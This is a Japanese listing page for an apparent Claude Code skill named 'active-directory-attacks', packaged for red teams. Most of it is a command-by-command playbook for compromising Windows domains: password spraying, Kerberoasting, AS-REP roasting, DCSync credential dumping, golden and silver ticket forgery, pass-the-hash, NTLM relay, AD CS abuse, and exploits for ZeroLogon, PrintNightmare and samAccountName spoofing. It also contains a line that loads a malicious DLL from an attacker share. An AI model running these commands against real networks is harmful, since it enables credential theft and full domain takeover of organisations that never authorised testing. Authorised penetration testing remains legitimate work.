active-directory-attacks について
Microsoft Active Directory環境を評価する手法をまとめた、レッドチームとペネトレーションテスター向けのガイドです。偵察、認証情報攻撃、Kerberos、中継、証明書サービスのテストを一般的なツールと手順に沿って整理しています。
主な機能
- 01Active Directoryの偵察
- 02認証情報とハッシュへの攻撃
- 03Kerberosチケット手法
- 04NTLMリレーの手順
- 05AD CS攻撃シナリオ
活用シーン
- 01ドメインの攻撃経路の把握
- 02認証情報漏えいリスクの評価
- 03Kerberosとリレー対策のテスト
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ zebbern/ claude-code-guide --skill active-directory-attacksインストール後、Claude Code で/active-directory-attacksを入力して読み込まれたか確認します。
同梱ファイルreferences/advanced-attacks.md
詳細
Active Directory 攻撃
目的
Microsoft Active Directory 環境を攻撃するための包括的な手法を提供します。レッドチーム演習およびペネトレーションテスト向けに、偵察、認証情報の収集、Kerberos 攻撃、ラテラルムーブメント、権限昇格、ドメイン支配を扱います。
入力/前提条件
- Kali Linux または Windows の攻撃用プラットフォーム
- ドメインユーザーの認証情報(ほとんどの攻撃で必要)
- ドメインコントローラーへのネットワークアクセス
- ツール: Impacket、Mimikatz、BloodHound、Rubeus、CrackMapExec
出力/成果物
- ドメインの列挙データ
- 抽出された認証情報およびハッシュ
- なりすましに使用する Kerberos チケット
- ドメイン管理者としてのアクセス
- 永続的なアクセスの仕組み
主要ツール
| ツール | 用途 |
|---|---|
| BloodHound | AD の攻撃経路の可視化 |
| Impacket | Python 製の AD 攻撃ツール |
| Mimikatz | 認証情報の抽出 |
| Rubeus | Kerberos 攻撃 |
| CrackMapExec | ネットワークの悪用 |
| PowerView | AD の列挙 |
| Responder | LLMNR/NBT-NS ポイズニング |
基本ワークフロー
ステップ 1: Kerberos の時刻同期
Kerberos では時刻の同期(±5 分)が必要です:
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"
# Fix clock on Windows
net time /domain /set
# Fake clock without changing system time
faketime -f '+8h' <command>
ステップ 2: BloodHound による AD 偵察
# Start BloodHound
neo4j console
bloodhound --no-sandbox
# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
ステップ 3: PowerView による列挙
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# Find local admin access
Find-LocalAdminAccess -Verbose
# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth
認証情報攻撃
パスワードスプレー
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
Kerberoasting
サービスアカウントの TGS チケットを抽出し、オフラインでクラッキングします:
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting
「Kerberos 事前認証を必要としない」が設定されたアカウントを対象とします:
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt
DCSync 攻撃
DC から認証情報を直接抽出します(「ディレクトリの変更の複製」権限が必要):
# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
Kerberos チケット攻撃
Pass-the-Ticket(ゴールデンチケット)
krbtgt のハッシュを使って、任意のユーザー向けの TGT を偽造します:
# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
シルバーチケット
特定のサービス向けに TGS を偽造します:
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
Pass-the-Hash
# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
OverPass-the-Hash
NTLM ハッシュを Kerberos チケットに変換します:
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
NTLM リレー攻撃
Responder + ntlmrelayx
# Start Responder (disable SMB/HTTP for relay)
responder -I eth0 -wrf
# Start relay
ntlmrelayx.py -tf targets.txt -smb2support
# LDAP relay for delegation attack
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
SMB 署名の確認
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
証明書サービスの攻撃(AD CS)
ESC1 - 誤設定されたテンプレート
# Find vulnerable templates
certipy find -u [email protected] -p password -dc-ip 10.10.10.10
# Exploit ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ESC8 - Web 登録のリレー
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
重大な CVE
ZeroLogon(CVE-2020-1472)
# Check vulnerability
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
# Exploit
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# Extract hashes
secretsdump.py -just-dc domain.local/DC01\[email protected] -no-pass
# Restore password (important!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
PrintNightmare(CVE-2021-1675)
# Check for vulnerability
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
# Exploit (requires hosting malicious DLL)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'
samAccountName スプーフィング(CVE-2021-42278/42287)
# Automated exploitation
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
クイックリファレンス
| 攻撃 | ツール | コマンド |
|---|---|---|
| Kerberoast | Impacket | GetUserSPNs.py domain/user:pass -request |
| AS-REP Roast | Impacket | GetNPUsers.py domain/ -usersfile users.txt |
| DCSync | secretsdump | secretsdump.py domain/admin:pass@DC |
| Pass-the-Hash | psexec | psexec.py domain/user@target -hashes :HASH |
| ゴールデンチケット | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH |
| スプレー | kerbrute | kerbrute passwordspray -d domain users.txt Pass |
制約
必須:
- Kerberos 攻撃の前に DC と時刻を同期すること
- ほとんどの攻撃で有効なドメイン認証情報を持つこと
- 侵害したすべてのアカウントを文書化すること
禁止:
- 過度なパスワードスプレーによってアカウントをロックアウトすること
- 承認なしに本番の AD オブジェクトを変更すること
- ゴールデンチケットを文書化せずに放置すること
推奨:
- 攻撃経路の発見のために BloodHound を実行すること
- リレー攻撃の前に SMB 署名を確認すること
- CVE の悪用前にパッチレベルを確認すること
例
例 1: Kerberoasting によるドメインの侵害
# 1. Find service accounts with SPNs
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. Request TGS tickets
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. Crack tickets
hashcat -m 13100 tgs.txt rockyou.txt
# 4. Use cracked service account
psexec.py domain.local/svc_admin:[email protected]
例 2: LDAP への NTLM リレー
# 1. Start relay targeting LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. Trigger authentication (e.g., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. Use created machine account for RBCD attack
トラブルシューティング
| 問題 | 解決策 |
|---|---|
| 時刻のずれが大きすぎる | DC と時刻を同期するか faketime を使用する |
| Kerberoasting の結果が空 | SPN を持つサービスアカウントが存在しない |
| DCSync がアクセス拒否される | 「ディレクトリの変更の複製」権限が必要 |
| NTLM リレーが失敗する | SMB 署名を確認し、LDAP をターゲットにしてみる |
| BloodHound が空である | 収集ツールが正しい認証情報で実行されたか確認する |
追加リソース
委任攻撃、GPO の悪用、RODC 攻撃、SCCM/WSUS によるデプロイ、ADCS の悪用、信頼関係、Linux の AD 統合などの高度な手法については、references/advanced-attacks.md を参照してください。
コメント
Markdown 対応